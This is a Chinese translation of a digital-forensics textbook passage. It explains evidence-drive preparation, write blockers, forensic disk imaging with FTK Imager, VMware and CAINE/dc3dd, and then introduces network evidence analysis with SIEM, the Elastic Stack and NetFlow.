在以下示例中,将擦除一个 2 TB 的外部硬盘驱动器,并将其准备好作为证据驱动器使用。以下过程应该在每次将驱动器置于可以用于事件调查的状态时重复:
- 启动 Eraser 应用程序。在图形用户界面中,点击擦除计划,然后选择新任务。然后您应该会看到如下窗口:

图 8.4 – 设置 Eraser 任务
- 现在,可以分配任务名称。这在您希望正确记录证据驱动器擦除时非常有帮助。点击添加数据按钮。这将打开另一个窗口:

图 8.5 – Eraser 驱动器选择
- 对于目标类型,选择驱动器/分区。在设置区域,将出现一个包含分区和驱动器字母的下拉列表。请特别注意分配给不同驱动器的驱动器字母,并确保选择需要擦除的外部驱动器。在此案例中,使用的是一款新的 Seagate 外部硬盘驱动器。最后,选择擦除方法。有几种不同的擦除驱动器选项。在这种情况下,选择了美国国防部 5220.22-M (8-306./E) (3 Pass)擦除选项:

图 8.6 – 擦除方法选择
- 点击确定。现在,擦除任务将在擦除 计划部分列出:

图 8.7 – 擦除计划
- 右键点击分区:Seagate 扩展驱动器 (E:)任务并点击立即运行。这将启动擦除过程。如前所述,请确保擦除的是正确的证据驱动器。
根据驱动器的大小和执行擦除操作的系统,整个过程可能需要数小时甚至几天。完成后,事件响应分析师应捕捉任何验证证据驱动器已正确擦除的信息。这些信息在书面法医分析报告中至关重要,因为它证明事件响应分析师采取了适当措施,确保所有证据文件未被破坏或与其他文件混淆。
建议事件响应分析师准备多个驱动器,并在任何事件发生之前将这些驱动器预先擦除。这将使事件响应分析师能够立即使用已擦除的驱动器,而无需现场擦除驱动器,这样可以节省本应用于事件相关活动的时间。
另一项可以采取的准备步骤是加密证据驱动器。可以使用如 VeraCrypt 或其他磁盘加密平台加密包含证据文件的证据驱动器分区。处理敏感信息(如信用卡或医疗记录)的事件响应分析师应加密证据驱动器,无论证据是否需要离开设施。
有两种方法可以加密证据驱动器。第一种方法是使用法医工作站上的加密软件进行加密,这些工作站在成像过程中使用。这种方法仅限于对已从系统中移除并在安装了加密软件的专用系统上成像的驱动器进行成像。第二种方法是将加密软件安装在证据驱动器上。在前一节中,证据驱动器被划分为两个分区,一个分区留作证据文件,另一个分区用于存储工具,例如用于转储内存文件或成像的工具。在这种情况下,加密软件可以加载到工具分区,并且在证据成像过程中对驱动器进行加密。这可以限制对待调查系统进行的更改数量。
一旦驱动器准备就绪,就需要另一层保护,确保在成像过程中不会对嫌疑系统进行任何更改。为确保没有更改发生,响应人员应该熟悉并知道如何使用写保护器。
使用写保护器
写保护器是关键组件,确保在成像过程中证据不被篡改。在本节中,响应人员将接触到物理和软件写保护器。
数字取证的一个关键原则是确保在处理和检查数字证据时不对其进行任何更改。任何变化,无论多么微小,都有可能使整个检查过程受到质疑。如果响应人员无法清楚阐明如何确保证据在检查过程中未被污染,则证据很可能会被排除在法律程序之外。因此,理解写保护器如何保持数字证据的完整性至关重要。
写保护器有两种类型。第一种是软件写保护器。这种软件位于操作系统和证据之间。它们通常是任何在检查阶段使用的数字取证工具的一部分。它们确保对证据文件仅具有只读访问权限,并且在检查过程中不会对证据进行任何更改。例如,本章将深入探讨的 FTK Imager 工具,确保数字证据的采集不会对磁盘进行任何写入。
另一种写保护器是物理或硬件写保护器。顾名思义,这是一种物理硬件,位于证据驱动器和执行采集的系统之间。数据可以从证据磁盘传输到分析系统,但不能反向传输。使用该设备可以清楚地表明,在采集阶段没有修改证据。
使用哪种类型的写保护器主要取决于正在进行的采集类型。理想情况下,响应人员应选择能够清晰证明他们采取了一切合理预防措施,确保证据未被篡改的工具和技术。这样做能显著降低证据被排除在任何法律程序之外的风险,同时也使响应人员能够在做出根本原因判定时依赖该证据。
在适当配置好驱动器和写保护器后,响应人员现在可以继续进行证据驱动器的镜像操作。
镜像技术
本节是本章的主要部分,我们将重点介绍响应人员在需要对证据驱动器进行镜像时可用的技术。
一旦为镜像文件配置了适当的存储库,事件响应分析师就可以准备获取所需的证据。响应人员可能会遇到已经开机或已关闭的可疑系统。根据他们发现可疑系统的状态,必须使用以下技术之一。在任何事件中,无论使用哪种技术,事件响应人员都应准备好妥善记录他们的操作,以便后续的取证报告。
死亡镜像
死机成像是对未通电的媒体进行的,对于硬盘来说,就是将其从可能被破坏的系统中移除。在证据准备方面,这种方法是最全面的,因为它允许完整保留和分析物理卷。有多种方法和工具可以用来进行适当的成像,既有商业软件也有免费软件。除了软件,事件响应分析员通常还会使用硬件写保护器。这些设备确保对嫌疑媒体不会进行任何更改。正如我们在第一章中讨论的那样,能够向法庭证明没有对原始证据进行任何更改是至关重要的。
以这种方式成像硬盘或其他数字媒体的一个优点是,该过程可以预定义并可重复。拥有一个已预定义的过程,并将其正式纳入事件响应计划和程序本身,确保证据以法医学上可靠的方式处理。
一个在死机成像中非常有用的工具是 FTK Imager。这个工具由 Access Data 提供,是一个法医学上可靠的磁盘映像获取平台。
使用 FTK Imager 进行成像
以下过程使用硬盘和 FTK Imager 生成一个法医学上可靠的映像供分析。匆忙或偏离这些步骤可能会导致响应者无法依赖证据的完整性,从而使潜在的证据变得不可靠:
-
第一步是对证据进行实物检查。应该检查两个主要焦点。第一个是链条证据表。每次你接管证据时,应该能访问该表,确保所有步骤都已正确记录,并用你的信息完成条目。
-
然后,你需要检查证据包装,以确保没有封印被破坏。记录这一点的一个快速方法是拍摄证据在原包装中的照片:

图 8.8 – 包装完整性检查
- 在前面的照片中,我们捕捉了所有与该证据相关的信息,并表明在成像之前,证据的完整性得到了保持。在封印被破坏后,你需要拍摄包装内容的照片:

图 8.9 – 示例磁盘照片
- 一旦拍摄了证据的照片,您应确保它与链条证据表格一致。在事件处理中可能会发生错误,这是确保尽早纠正链条证据错误的一种方式。通过确认链条证据,任何混乱都可以得到纠正。下一步是配置物理写保护器。在这种情况下,使用 Tableau TK35u USB 3.0 Forensic IDE/SATA 桥接套件作为物理写保护器。嫌疑驱动器通过附带的 SATA 驱动器适配器连接,并通过 FireWire 与成像笔记本连接。使用物理写保护器时,确保设备显示正常工作,如下所示:

图 8.10 – 物理写保护器设置
在安装物理写保护器后,嫌疑驱动器现在可以进行镜像。在这个示例中,将使用 FTK Imager 免费应用程序。FTK Imager 需要管理员权限才能运行。打开可执行文件后,将显示以下界面:

图 8.11 – FTK Imager 主菜单
- 点击文件,然后选择创建磁盘镜像。这将打开一个窗口,您可以在其中选择媒体源。在这种情况下,选择物理驱动器,以便将整个驱动器(包括 MBR)捕获用于进一步分析。然后,点击下一步:

图 8.12 – FTK Imager 源选择
- 下一窗口允许分析员选择要进行镜像的驱动器。事件响应分析员应密切注意,确保正在镜像正确的设备,因为所有操作系统可见的设备都会列出。在这里,您需要注意驱动器的存储空间,以区分嫌疑驱动器和镜像驱动器。在这种情况下,列出了四个独立的驱动器。两个是成像笔记本内的驱动器。另一个驱动器是目标驱动器。在这种情况下,第三个驱动器,标记为
\\.\PHYSICALDRIVE2,是正确的嫌疑驱动器。高亮显示该驱动器并点击完成:

图 8.13 – 嫌疑驱动器选择
- 一旦选择了嫌疑驱动器,设置目标驱动器。点击添加…:

图 8.14 – FTK Imager 创建图像窗口
- 此时,选择您要创建的图像文件类型。提供四个选项。在这种情况下,需要选择E01。点击下一步 >:

图 8.15 – FTK Imager 选择图像类型窗口
- 在下一个窗口中,输入与映像相关的具体信息。我们将在第十三章讨论报告。目前,分析员应该尽可能详细地填写这些字段,因为这些信息将包含在法医报告中。填写完字段后,点击下一步 >:

图 8.16 – FTK Imager 证据项信息窗口
- 在下一个窗口中,验证映像目标和文件名是否正确。除此之外,您还可以设置映像的碎片化大小和压缩。碎片化大小可以设置为
0,因为整个磁盘映像将包含在一个文件中。现在,默认设置将被使用,因为挂载一个碎片化的磁盘映像不是问题。验证输入的信息无误后,点击完成:

图 8.17 – FTK Imager 选择映像目标窗口
- 现在,创建映像窗口将打开。这是最后阶段,分析员可以在此取消映像文件的创建。此外,根据使用场景,分析员应启用两个选项。第一个是 FTK Imager 在创建映像后验证映像。在此功能下,FTK Imager 将验证映像文件未被修改,并且是完整且无错误的。第二个是 FTK Imager 可以创建映像中所有文件的列表。如果特定文件具有证据价值,这对分析员来说可能非常有用。分析员将能够确定该文件是否存在于该系统中。如果需要检查多个驱动器,这可以节省时间。验证所有设置无误后,点击开始:

图 8.18 – FTK Imager 创建映像窗口
- FTK Imager 接下来将开始映像驱动器的过程。根据被映像驱动器的大小、映像系统的可用处理速度以及与映像系统的连接类型(如 FireWire、USB 等),此过程可能需要数小时甚至数天。在此过程中,将会出现以下窗口:

图 8.19 – FTK Imager 创建映像窗口
- 一旦 FTK Imager 完成成像过程,一个窗口将会弹出。在此窗口中,FTK Imager 会向事件响应分析员提供详细信息。分析员应关注的是,已为硬盘和镜像计算的哈希值。在此案例中,MD5 和 安全哈希算法 1(SHA1)哈希值匹配,表明成像过程正确地捕获了硬盘,并且从嫌疑硬盘提取的证据没有发生任何更改。将这些信息作为取证报告的一部分记录下来是一个良好的做法:

图 8.20 – FTK Imager 结果验证
-
导航到证据驱动器。在这里,可以找到整个镜像文件。根据 FTK 配置的碎片大小,可能会有多个文件或一个单一的证据文件。除了证据文件外,FTK Imager 还提供了硬盘上所有文件的完整列表。
-
最后,FTK Imager 会提供一个文本文件,详细说明成像过程中的信息。这些信息应被捕获并随后续的取证报告一起提供。此时,成像过程已经完成,证据驱动器需要返回安全存储。
死机成像提供了最为取证可靠的采集方式;然而,在某些情况下,响应人员可能需要对开机的系统进行成像。这就需要响应人员对嫌疑系统执行实时成像。
实时成像
在实时成像中,系统正在运行,分析员使用 USB 存储驱动器来存放成像程序和存储区域。一种简单的技术是将安装在成像工作站上的 FTK Imager 目录复制到 USB 上,并从那里执行目标系统的操作。但在此之前,分析员应对系统进行一些检查。
Exterro FTK Imager 指导
FTK Imager 可以轻松配置为从 USB 设备运行。建议分析员至少准备一两个这样的设备。有关如何配置 USB 设备的详细信息,请参考 Exterro 网站:exterro.freshdesk.com/support/solutions/articles/69000765662-run-ftk-imager-from-a-flash-drive-imager-lite。
成像前检查
十多年前,微软 BitLocker 被引入,成为 Windows 操作系统的本地全盘加密(FDE)解决方案。除了 BitLocker,还有许多 FDE 产品。这些解决方案使得事件响应分析员难以对系统进行分析。一个方便的工具,可以帮助判断系统是否启用了 BitLocker,那就是 Magnet Forensics 的加密磁盘检测工具,工具可通过以下网址获取:www.magnetforensics.com/resources/encrypted-disk-detector/。
只需下载工具并通过命令行运行。例如,以下截图显示目标系统正在运行 BitLocker:

图 8.21 – 加密磁盘检测器
还应进行的一项额外检查是确定系统是使用 HDD 还是 SSD,并检查是否启用了 TRIM。请参阅前一节关于 SSD 的内容,获取可以运行的具体命令。
虚拟系统
事件响应者在调查过程中通常会遇到虚拟服务器甚至工作站。通过简单地将暂停的虚拟机(VM)导出到可移动驱动器,可以获取虚拟化系统。在其他情况下,响应者可以利用虚拟系统的快照功能。这会创建一个独立的文件,可以在拍摄快照的日期和时间进行分析。在这两种情况下,响应者应确保驱动器已正确清理,并且适当的文档已经处理。
要获取虚拟机,只需暂停系统,然后将整个目录移至外部介质。(在某些情况下,甚至可以远程完成此操作。)在 Windows 虚拟平台(如 VMware)中,多个文件构成虚拟映像:

图 8.22 – ESXi 虚拟机文件
让我们来看一下其中的一些文件:
-
.vmdk:这是虚拟磁盘映像文件。这是虚拟操作系统和文件所在的逻辑卷。获取这些文件就像是在物理系统上获取C:驱动器的镜像一样。 -
.vmem:.vmem文件是虚拟内存文件。它是虚拟 RAM 或物理内存的存储区域。此文件可以导出,并与其他文件结合进行分析,方法将在第十章中讨论。 -
.vmss:VMware 暂停状态文件保存暂停虚拟机的运行配置。这包括进程和网络连接数据。该文件与.vmem文件结合提供系统内存。 -
.vmsn:这是虚拟快照状态文件。此文件包含拍摄快照时系统的状态。
事件响应者可以通过多种方式使用这些文件。首先,.vmdk文件可以像图像文件一样挂载在各种数字取证软件平台中。这些将在第九章中讨论。其次,.vmsn文件可以通过简单地复制文件并处理副本来重建系统。之后,响应者可以查看系统的行为或提取证据,而不影响原始的.vmsn文件。
最后,通过 .vmem 和 .vmss 文件捕获的运行内存可以以类似分析其他内存捕获数据的方式进行分析。为了获取正确的取证数据,必须将这两个文件合并。这可以通过使用 vmss2core.exe 工具来完成,该工具作为 VMware 工具套件的一部分。合并这些文件时,需要使用以下命令语法:
C:\VirtualTools\vmss2core.exe -W "InfectedServer.vmss" "InfectedServer.vmem"
上述命令将生成一个内存转储文件,存放在包含这两个文件的目录中。
尽管虚拟化在大型企业中非常常见,但它不应构成一个重大挑战。从某种意义上来说,能够简单地暂停系统并提取所有必要的文件,使得提取必要证据的速度更快。
到目前为止,重点一直在 Windows 工具上进行影像处理。事件响应人员的另一种选择是使用 Linux 影像工具。有多种工具提供写保护和影像处理功能,且许多工具是开源的。
Linux 影像
第三章概述了可供事件响应分析师使用的各种取证工具。这些工具中有些包括可以在事件处理中使用的 Linux 发行版,执行各种数字取证任务。以下示例将演示如何部署带有取证应用程序的 Linux 发行版,以捕获潜在被攻破计算机的取证影像。
使用 Linux 发行版和可启动 USB 设备的组合是一种可以用来对潜在被攻破系统进行取证影像的选项。事件响应分析师可能会遇到多个系统需要被取证影像的情况,而分析师只有一个写保护器。如果分析师必须按顺序对每个系统进行影像处理,将会浪费大量时间。在这种情况下,分析师可以通过为每个系统创建一个可启动的 USB 驱动器,并同时对每个系统进行影像处理来避免这种浪费。分析师只需要一个证据驱动器和每个证据来源的可启动 USB 驱动器。使用这种技术可以让分析师同时对每个系统进行影像处理,节省出可以用于其他活动的时间。
在这个场景中,将使用 计算机辅助调查环境 现场版 (CAINE) Linux 发行版来对潜在被攻破系统的硬盘进行影像处理。首先,系统关闭,并安装包含 CAINE 操作系统的可启动 USB 设备。然后启动嫌疑系统。事件响应分析师应当了解如何更改系统的启动顺序,以确保系统从 USB 设备启动。分析师还应准备好在系统试图从原生操作系统启动而非 USB 设备时,立即关闭系统。我们开始吧:
-
确保怀疑硬盘所在的系统已关闭电源。将取证操作系统硬盘插入一个可用的 USB 端口。现在,打开计算机并进入 BIOS。这通常是通过按功能键(fn)和 F2、F8 或 F12 键组合来实现。如果系统启动了主机操作系统,请关闭系统并重试。在开始过程之前,最好了解如何进入系统的 BIOS 设置。
-
启动进入取证操作系统后,将证据硬盘插入另一个可用的 USB 端口。打开终端并输入以下命令:
caine@caine:~$sudo fdisk -l
fdisk -l 命令列出了所有 CAINE 操作系统可见的分区。输出将如下所示:

图 8.23 – fdisk 输出数据
在上面的截图中,第一个硬盘是 SDA,存储容量为 447.13 GB。往下看,SDA 硬盘被划分为三个单独的分区。标为 SDA2 的分区是启动分区。SDA3 分区的大小为 387.7 GB,正如光标所示。这是存储大部分数字证据的数据存储区域。将对该 SDA 硬盘进行成像。
向下滚动输出内容,可以看到证据硬盘和 CAINE 操作系统硬盘也可见:

图 8.24 – fdisk 输出数据
在上面的截图中,有三个独立的硬盘,每个硬盘有自己的分区。标为 /dev/sdc 的硬盘是包含 CAINE 操作系统的 USB 驱动器,系统从该驱动器启动。/dev/sdb 硬盘是系统将要进行成像的证据硬盘。最后,目标系统标记为 /dev/sda。
- 在识别出系统的目标硬盘后,我们需要确认成像过程不会改变数据。CAINE 操作系统内置了一个软件写保护器。在桌面上,你会看到 Block on/off,这是指向实际软件写保护器路径的标题。点击后会打开用于此过程的写保护器。在检查设备列表时,你会看到唯一可以写入的硬盘是 SDB,这就是我们之前确认的证据硬盘。其他硬盘都设置为只读。这可以确保事件响应分析人员,成像过程不会改变目标硬盘(分析人员最好截取该信息的屏幕截图,以便后续报告):

图 8.25 – 解锁设备选择
-
在确认证据硬盘已就位并且目标系统已设置为只读后,配置证据硬盘以确保其正确挂载。使用以下命令创建一个名为
Disk_Images或类似名称的目录,作为此及任何后续磁盘镜像的存储库:caine@caine:~$ sudo mkdir /mnt/Disk_Images -
接下来,使用以下命令将 SDB 磁盘挂载到上一步中创建的挂载目录。请注意,在这种情况下,它是证据驱动器的较大磁盘分区:
caine@caine:~$sudo mount /dev/sdb2 /mnt/Disk_Images
现在,证据驱动器已经挂载到创建的挂载点上。
-
接下来,使用以下命令切换到证据驱动器的目录:
caine@caine:~$ cd /mnt/Disk_Images -
为系统的特定映像文件创建一个目录。在这种情况下,目录将包含事件编号
Incident2022-034,作为目录名。最好将此目录与事件间接关联。以下命令将创建正确的目录:caine@caine:~$ mkdir Incident2022-034 -
通过执行以下命令,切换到在步骤 7中创建的目录:
caine@caine :/ mnt /Disk_Images$ cd Incident2022-034 -
现在,您已经进入了正确的目录,接下来要做的就是对嫌疑人驱动器进行成像。现在有多个工具可用于此操作。在此示例中,将使用 Dc3dd 工具。该工具是由国防部网络犯罪中心(DC3)的取证专家 Jesse Kornblum 开发的。此应用程序具有 dd Linux 映像应用程序中没有的附加功能。这些功能包括错误报告和可以即时使用的多种哈希算法。要开始成像过程,输入以下命令:
caine@caine:/mnt/Disk_Images/Incident2022-034$ dc3dd if=dev/sda of=ACMELaptop056.img hash=md5 log=ACMELaptop56.txt
上面的命令包含dc3dd。首先,将 sda磁盘映像到证据驱动器,并输出一个名为ACMELaptop056的映像文件:
该命令还使 Dc3dd 使用 MD5 算法对映像文件进行哈希计算。最后,创建一个名为ACMELaptop56.txt的日志文件,可以用于报告目的。运行该命令会生成以下输出:

图 8.26 – dc3dd 命令和输出
- 根据驱动器的大小,这个过程可能需要几个小时。在此期间,分析师可以跟踪所做的进展。完成后,应用程序将产生一些输出,指示输入使用了多少个扇区,输出到映像文件中使用了多少个扇区。理想情况下,这两个数字应该相同。最后,计算并利用映像文件的 MD5 哈希值,作为输出的一部分:

图 8.27 – Dc3dd 成像完成
- 从 Windows 系统检查证据驱动器,可以看到使用 Dc3dd 创建的映像和日志文件:

图 8.28 – Dc3dd 输出文件
-
检查日志文件可以揭示以下信息,所有这些信息都应该纳入后续报告中:
dc3dd 7.2.646 started at 2022-05-24 22:17:14 +0200compiled options:command line: dc3dd if=/dev/sda of=ACMELaptop056.img hash=md5 log=ACMELaptop56.txtdevice size: 937703088 sectors (probed), 480,103,981,056 bytessector size: 512 bytes (probed)480103981056 bytes ( 447 G ) copied ( 100% ), 11176,1 s, 41 M/sinput results for device `/dev/sda':937703088 sectors in0 bad sectors replaced by zeros9fc8eb158e5665a05875f4f5f2e6f791 (md5)output results for file `ACMELaptop056.img':937703088 sectors outdc3dd completed at 2022-05-25 01:23:30 +0200
Linux 是获取磁盘证据时一个可行的选择。它的一个重要优势是易于扩展。如果必须获取多个系统,响应者可以使用多个 USB 存储驱动器和 Linux USB 设备,并行进行获取,而不是等待软件可用。CAINE 是一个极好的选择,因为它包含的写保护器还为过程中提供了一定的证据完整性。
成像是响应者必须了解的关键过程。事件通常会决定应该使用哪种技术。然而,在任何事件中,响应者应确保该过程以可靠的方式进行,因为后续调查往往依赖于从这些系统中获取的数据。
总结
并不是每个事件都会要求从潜在受损的硬盘或其他存储卷中获取镜像。无论如何,事件响应分析员应该熟悉并能够在需要时执行此功能。硬盘上找到的证据可能对确定事件的顺序或获取有助于查明事件根本原因的实际文件至关重要。这也是响应者需要了解成像基础知识、相关工具和流程的核心原因,包括如何创建舞台驱动器、如何使用写保护器,以及如何执行本章中提到的任何成像技术。与任何法证学科中执行的过程一样,成像应该以系统的方式进行,确保所有步骤都得到遵循并得到适当的文档记录。这将确保所获取的任何证据都能在法庭上被接受并具备法律效力。
在下一章中,我们将讨论与事件相关的网络活动相关的网络证据检查。
问题
-
写保护器有哪两种类型?(选择两个)
-
硬件
-
数字
-
软件
-
法院批准
-
-
响应者应确保每次使用前,任何用于成像的存储驱动器都已正确消毒。
-
正确
-
错误
-
-
哪种成像方法用于获取驱动器的整个物理卷?
-
死机成像
-
实时成像
-
远程成像
-
硬件成像
-
-
哪种成像应用程序仅在 Linux 系统上找到?
-
FTK Imager
-
EnCase Imager
-
AFF4
-
dd
-
进一步阅读
请参考以下资源,了解本章涵盖的主题:
-
FTK Imager 指南:
d1kpmuwb7gvu1i.cloudfront.net/Imager/4_7_1/FTKImager_UserGuide.pdf -
NIST 计算机取证工具与技术 目录:
toolcatalog.nist.gov/search/index.php?ff_id=1 -
计算机取证中磁盘映像工具概述:
www.sans.org/reading-room/whitepapers/incident/overview-disk-imaging-tool-computer-forensics-643
第三部分:证据分析
完成第二部分的数字证据获取后,第三部分将重点讲解数字取证的正确分析技巧。本部分将专注于使用合适的工具和技术来确定事件的根本原因。
本部分包括以下章节:
-
第九章**,分析网络证据
-
第十章**,分析系统内存
-
第十一章**,分析系统存储
-
第十二章**,分析日志文件
-
第十三章**,撰写事件报告
第九章:分析网络证据
第五章探讨了事件响应人员和安全分析师如何获取基于网络的证据以供后续评估。该章节主要关注了两种证据来源:网络日志文件和网络数据包捕获。本章将展示可用于检查已获取证据的工具和技术。将这些技术融入事件响应调查,可以为事件响应分析师提供对潜在威胁的网络活动的洞察。
本章将重点讨论以下主要内容:
-
网络证据概述
-
分析防火墙和代理日志
-
分析 NetFlow
-
分析数据包捕获
网络证据概述
攻击者被同样的网络协议约束,这些协议控制着正常的网络流量。本文将探讨通过正确分析网络数据来识别的对抗技术。
在第五章中,我们重点关注了网络设备产生的各种证据。大多数这些证据包含在交换机、路由器和防火墙生成的各种日志文件中。根据响应人员所处的环境类型,这些证据来源可以通过 NetFlow 数据和完整的数据包捕获进行补充。
一旦了解了各种来源,重要的是要关注日志、NetFlow 和数据包捕获能告诉我们关于事件的哪些信息。以下是几个关注点,在这些领域中,适当的日志记录和证据收集可以为事件提供额外的背景信息,以及在分析根本原因时可能的数据点:
-
侦察与扫描行为:攻击者可以利用众多工具来自动化扫描外围设备(如防火墙和路由器)的过程。这些扫描工具试图确定开放端口、漏洞或可以被利用的认证协议,如安全外壳(SSH)。这些扫描会留下痕迹,因为它们通常需要与设备建立连接。根据日志记录的级别和保留期限,响应人员可能能够识别出尝试破坏外围系统的外部基础设施。
-
初始感染:攻击者在入侵系统方面变得非常复杂。他们通常会利用多阶段的漏洞利用和恶意软件。第一阶段将通过 URL 调用外部基础设施并下载其他漏洞。Web 代理和防火墙的日志文件中可能包含记录此活动的连接数据。
-
横向移动:一旦进入网络,攻击者通常会尝试进行侦察、利用其他系统并移动数据。NetFlow 日志可以提供对这种行为的洞察。
-
指挥和控制:一旦在网络中站稳脚跟,攻击者就需要能够维持对受损系统的控制。日志、数据包捕获和 NetFlow 数据可以用来识别这种行为。
-
数据泄漏:攻击者的目标之一可能是破坏并窃取数据。代理日志可能会识别这些数据的目的地。NetFlow 可能会显示从内部系统到外部系统的数据流动。最后,数据包捕获可以用来识别泄露的文件、数据源以及目的地。
在第五章中,我们讨论了在事件中可以利用的三种主要类型的网络证据。对于不了解网络流量的响应者来说,理解网络流量的各个方面往往是困难的。可以将网络流量看作是从一个人发送到另一个人的信件。日志数据记录了发送者和接收者的地址以及在一个中央位置(如本地邮局)的邮箱号码。这类似于源 IP 地址和目标 IP 地址以及端口。
NetFlow 记录了关于信件的许多相同信息,但还可以告诉个人信件的重量或相对大小,以及发送者和接收者的地址和邮箱号码。最后,数据包捕获提供了通过日志和 NetFlow 获得的所有信息,还会告诉个人信件的内容,包括(只要它没有加密)实际的数据。
通过网络证据识别根本原因在很大程度上取决于证据本身。像数据包捕获和日志文件这样的证据的一个主要缺点是,正常网络操作所产生的数据量巨大。通常,事件发生后几天甚至几周才会被识别。在此期间,这些日志文件和数据包捕获可能变得无法获取。因此,响应者必须充分理解他们组织在网络证据方面的能力。
分析防火墙和代理日志
攻击者需要与其基础设施建立初始连接并保持持续连接。网络设备如防火墙和代理可能提供日志文件作为证据来源。
第五章包含了有关获取基于网络的证据以及对事件响应者或安全分析师重要的日志文件类型的大量信息。除了之前讨论的数据包捕获外,我们还重点关注了从多种来源获取日志文件。这些日志文件可以为可能的入侵指示提供一些线索,帮助事件调查。然而,分析师面临的主要挑战是从大量无关的日志中筛选出那些具有证据价值的日志。
日志文件分析可以通过多种方式进行。使用的具体方法通常取决于事件的类型、可用的工具和需要分析的日志数据量。以下是一些可以使用的方法:
-
手动日志审查:在手动日志审查中,原始日志文件会被导入到像文本编辑器这样的工具中。之后,分析人员将逐行审查日志。这是一种低成本的解决方案,但仅在数据量有限时有用。例如,分析人员无法在大型企业防火墙连接日志上执行此类分析。然而,它可能对确定某个特定日期有哪些用户登录到不常用的 Web 应用程序有帮助。
-
过滤日志审查:日志审查工具允许分析人员根据特定参数过滤日志文件。这可以包括显示已知恶意活动的列表。一个缺点是,日志可能不会立即指示已知的恶意活动,而是在最初阶段看起来无害。
-
日志文件搜索:大多数日志分析工具的另一个关键功能是能够搜索日志文件中的特定表达式。搜索工具可以利用正则表达式和布尔表达式,并允许分析人员将日志限制在特定的时间段、源 IP 地址或其他特定条件下。这使得分析人员可以迅速定位特定的日志文件。根据搜索词的不同,这可能返回大量的信息,需要手动进一步审查。
-
日志文件关联:可以根据预配置的规则或算法将不同的日志活动与其他日志进行关联。日志关联通常是日志管理工具或安全信息和事件管理(SIEM)平台的一部分,这些工具带有已创建的规则集。这种方法非常强大,因为它自动化了过程,但也需要大量的前期劳动来配置和调整特定环境。
-
日志文件数据挖掘:比关联更进一步的是能够从日志文件中提取有意义的信息。这为特定活动提供了更多的上下文和洞察力。在撰写本文时,已有多个工具(如 Elasticsearch 和 Logstash)可以集成到平台中,以提供更有用的信息。
网络中每月产生的日志数量可能是惊人的。随着新来源的增加,这一数量只会进一步增加。手动筛选这些日志几乎是不可能的。在日志审查方面,最好有一个能够提供一定自动化程度的解决方案,即使是在小型网络中。这些工具使分析人员能够在成千上万的日志中找到那根关键的针。
SIEM 工具
SIEM 工具对于获得网络活动的态势感知至关重要。这些平台不仅充当来自网络设备的日志文件的聚合点,还允许分析员对已聚合的日志进行查询。例如,假设在分析数据包捕获文件时,发现了与潜在恶意活动相关的 IP 地址。这个文件仅限于内部网络上的一台主机。分析员希望回答的一个问题是,其他多少台主机可能已经被感染?如果 SIEM 聚合了来自外部防火墙和 Web 代理等设备的连接日志文件,分析员就能够确定是否有其他内部主机连接到这些可疑的 IP 地址。
有多种 SIEM 平台可供选择,从免费的解决方案到企业级安全管理平台。这些平台大多数允许分析员进行过滤搜索和关联日志审查。许多更强大的商业平台提供了检测特定类型攻击的规则集,并随着新攻击的出现更新这些规则集。分析员还可以查询 SIEM 工具,以获取主机 IP 地址与其他系统的连接日志。这通常是恶意软件感染机器后,攻击者试图攻破其他机器时的行为表现。
在事件响应人员与负责维护 SIEM 工具的人员分开的组织中,最好审查一下通信结构,以确保事件响应分析员可以访问这些平台。可用的大量信息和数据可以帮助确定内部网络上哪些活动与可能的事件相关,以及可以用来确定根本原因的证据。
Elastic Stack
除了 SIEM 技术外,事件响应分析员还可以利用一系列应用程序进行日志分析。这一系列工具被称为 Elastic Stack,它结合了三种工具,能够分析大量数据。第一个工具是 Elasticsearch。Elasticsearch 是一个日志搜索工具,允许对日志数据进行近实时搜索。这是通过 Lucene 驱动的全文搜索实现的。这使得分析员能够针对日志文件中的元素(如用户 ID、IP 地址或日志条目编号)执行查询。Elasticsearch 的另一个关键特性是平台能够随着企业的增长和数据源的增加,扩展解决方案。这对于那些可能希望先测试此功能,然后逐步添加数据源和日志文件的组织来说非常有用。
Elastic Stack 中的下一个组件是 Logstash。Logstash 是处理来自网络各个来源的日志文件输入、处理日志条目,并最终通过可视化平台输出它们的机制。Logstash 可以轻松配置和部署。Logstash 与 Elasticsearch 的集成使得事件响应分析师能够对大量日志数据进行快速查询。
Elastic Stack 的最终组件是 Kibana。Kibana 作为 Elastic Stack 的可视化界面或仪表板,允许分析师通过仪表板洞察数据。Kibana 还允许分析师深入到特定的关键数据点进行详细分析。事件响应分析师可以自定义这些仪表板,以便最重要的信息,如入侵检测日志或连接日志,能够立即供审阅。
例如,Kibana 仪表板利用多个饼图来展示日志活动。利用这些图表可以概览分析师可用的信息。
增强日志的一个好工具是 NetFlow 分析,我们将在接下来介绍。
分析 NetFlow
NetFlow 描述了网络中设备之间连接的数据。NetFlow 主要用于故障排除连接性和带宽问题,事件响应人员可以使用 NetFlow 获得数据流动的洞察,从而引发事件。
NetFlow 是由 Cisco Systems 在 1990 年代首次推出的一个功能。NetFlow 收集关于数据包的特定数据,当它们进入或退出路由器或交换机的接口时。这些数据随后通过 NetFlow 导出器发送到 NetFlow 收集器,NetFlow 导出器通常作为交换机或路由器的一部分。NetFlow 收集器随后汇总并存储流数据以供分析。网络和系统管理员通常利用这些数据来排查带宽问题、识别网络拥堵以及观察数据流动情况。
以下截图中可以看到一个 NetFlow 输出的示例。流数据包含的内容在网络设备制造商之间可能有所不同,因为商业市场上有多个版本。以下截图显示了作为 NetFlow 数据集一部分所捕获的一些基本信息:

图 9.1 – 示例 NetFlow 数据
以下是前面截图中可以看到的 NetFlow 记录的组成部分:
-
Src Addr:这是启动连接或发送流量的源地址。
-
Dst Addr:连接的目标地址。
-
Sport:这是源地址的源端口。
-
Dport:这是目标端口。在将 NetFlow 作为事件调查的一部分进行分析时,这是需要关注的关键数据点之一,因为它通常能告诉响应人员源地址正在连接的服务。
-
Proto:这是使用的协议。
-
数据包:作为流的一部分所生成的数据包数量。
-
字节:字节的总数。
-
流:这表示已记录的流的数量。流可以视为独立的 TCP 连接。例如,使用像 Wireshark 这样的工具分析数据包捕获时,会显示单独的数据包。流指示已建立的 TCP 会话。在这种情况下,如果 SSH 会话中断并重新建立,则会记录两个流。
在检查前面的 NetFlow 数据时,两个重要的数据点可能值得关注。第一个是设备之间的 SSH 连接数量。安全外壳(SSH)是系统之间常用的通信方式,但如果它超出了正常网络行为的范围,则需要进一步调查。此外,通过 SMB(端口445)的连接常常被攻击者滥用,用于访问其他系统、传播勒索软件或访问文件共享。即使在这个简短的示例中,也可以清楚地看到,响应人员通过仅查看内部网络上发生的连接,就能获得大量的洞察信息。
分析数据包捕获
